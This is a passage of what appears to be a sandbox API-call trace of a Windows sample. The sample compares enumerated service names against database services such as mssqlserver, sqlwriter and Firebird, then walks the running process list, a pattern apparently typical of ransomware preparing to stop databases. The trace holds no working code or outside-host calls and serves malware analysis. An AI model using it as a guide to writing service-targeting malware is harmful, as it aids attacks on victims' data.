(lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0110.725] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0110.725] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0110.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0110.725] lstrlenW (lpString="KeyIso") returned 6 [0110.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0110.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0110.725] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0110.726] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0110.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0110.726] lstrlenW (lpString="LanmanServer") returned 12 [0110.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0111.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0111.569] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0111.570] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0111.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0111.570] lstrlenW (lpString="LanmanWorkstation") returned 17 [0111.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.570] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0111.570] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0111.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0111.570] lstrlenW (lpString="lfsvc") returned 5 [0111.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0111.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0111.570] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0111.570] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0111.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0111.570] lstrlenW (lpString="lmhosts") returned 7 [0111.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0111.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0111.570] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0111.570] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0111.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0111.570] lstrlenW (lpString="LSM") returned 3 [0111.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0111.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0111.571] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0111.610] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0111.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0111.610] lstrlenW (lpString="MapsBroker") returned 10 [0111.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0111.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0111.610] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0111.610] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0111.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0111.610] lstrlenW (lpString="MpsSvc") returned 6 [0111.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0111.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0111.610] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0111.610] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0111.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0111.610] lstrlenW (lpString="NcbService") returned 10 [0111.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0111.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0111.610] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0111.610] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0111.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0111.610] lstrlenW (lpString="netprofm") returned 8 [0111.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0111.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0111.610] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0111.610] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0111.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0111.610] lstrlenW (lpString="NlaSvc") returned 6 [0111.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0111.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0111.611] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0111.611] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0111.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0111.611] lstrlenW (lpString="nsi") returned 3 [0111.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0111.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0111.611] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0111.611] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0111.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0111.611] lstrlenW (lpString="PcaSvc") returned 6 [0111.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0111.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0111.611] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0111.611] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0111.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0111.611] lstrlenW (lpString="PlugPlay") returned 8 [0111.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0111.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0111.611] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0111.611] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0111.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0111.611] lstrlenW (lpString="Power") returned 5 [0111.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0111.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0111.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0111.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0111.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0111.612] lstrlenW (lpString="ProfSvc") returned 7 [0111.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0111.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0111.612] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0111.612] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0111.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0111.612] lstrlenW (lpString="RpcEptMapper") returned 12 [0111.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.612] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0111.612] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0111.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0111.612] lstrlenW (lpString="RpcSs") returned 5 [0111.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0111.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0111.612] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0111.612] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0111.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0111.612] lstrlenW (lpString="SamSs") returned 5 [0111.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0111.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0111.612] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0111.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0111.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0111.612] lstrlenW (lpString="Schedule") returned 8 [0111.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0111.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0111.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0111.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0111.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0111.613] lstrlenW (lpString="SecurityHealthService") returned 21 [0111.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0111.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0111.613] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0111.613] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0111.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0111.613] lstrlenW (lpString="SENS") returned 4 [0111.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0111.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0111.613] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0111.613] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0111.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0111.613] lstrlenW (lpString="ShellHWDetection") returned 16 [0111.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.613] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0111.613] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0111.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0111.613] lstrlenW (lpString="Spooler") returned 7 [0111.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0111.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0111.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0111.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0111.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0111.613] lstrlenW (lpString="sppsvc") returned 6 [0111.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0111.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0111.613] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0111.614] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0111.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0111.614] lstrlenW (lpString="SSDPSRV") returned 7 [0111.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0111.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0111.614] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0111.614] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0111.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0111.614] lstrlenW (lpString="StateRepository") returned 15 [0111.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0111.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0111.614] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0111.614] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0111.614] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38d3288 | out: hHeap=0x4b0000) returned 1 [0111.614] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0111.632] Process32FirstW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.632] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.633] lstrlenW (lpString="System") returned 6 [0111.633] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.634] lstrlenW (lpString="smss.exe") returned 8 [0111.634] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.635] lstrlenW (lpString="csrss.exe") returned 9 [0111.635] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.636] lstrlenW (lpString="wininit.exe") returned 11 [0111.636] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.637] lstrlenW (lpString="csrss.exe") returned 9 [0111.637] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.640] lstrlenW (lpString="winlogon.exe") returned 12 [0111.640] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.640] lstrlenW (lpString="services.exe") returned 12 [0111.640] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.641] lstrlenW (lpString="lsass.exe") returned 9 [0111.641] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.149] lstrlenW (lpString="svchost.exe") returned 11 [0112.149] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0112.150] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0112.150] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0112.151] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0112.151] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.152] lstrlenW (lpString="svchost.exe") returned 11 [0112.152] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0112.152] lstrlenW (lpString="dwm.exe") returned 7 [0112.152] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.153] lstrlenW (lpString="svchost.exe") returned 11 [0112.153] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.154] lstrlenW (lpString="svchost.exe") returned 11 [0112.154] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.155] lstrlenW (lpString="svchost.exe") returned 11 [0112.155] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.155] lstrlenW (lpString="svchost.exe") returned 11 [0112.156] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.156] lstrlenW (lpString="svchost.exe") returned 11 [0112.156] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.157] lstrlenW (lpString="svchost.exe") returned 11 [0112.157] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.158] lstrlenW (lpString="svchost.exe") returned 11 [0112.158] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.159] lstrlenW (lpString="svchost.exe") returned 11 [0112.159] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.159] lstrlenW (lpString="svchost.exe") returned 11 [0112.160] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.160] lstrlenW (lpString="svchost.exe") returned 11 [0112.160] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0112.161] lstrlenW (lpString="spoolsv.exe") returned 11 [0112.161] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.162] lstrlenW (lpString="svchost.exe") returned 11 [0112.162] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0112.163] lstrlenW (lpString="audiodg.exe") returned 11 [0112.163] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0112.164] lstrlenW (lpString="sihost.exe") returned 10 [0112.164] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.165] lstrlenW (lpString="svchost.exe") returned 11 [0112.165] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.165] lstrlenW (lpString="taskhostw.exe") returned 13 [0112.166] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0112.166] lstrlenW (lpString="explorer.exe") returned 12 [0112.166] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0112.167] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0112.167] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0112.168] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0112.168] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0112.169] lstrlenW (lpString="Memory Compression") returned 18 [0112.169] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0112.169] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0112.169] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0112.170] lstrlenW (lpString="SearchUI.exe") returned 12 [0112.170] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, 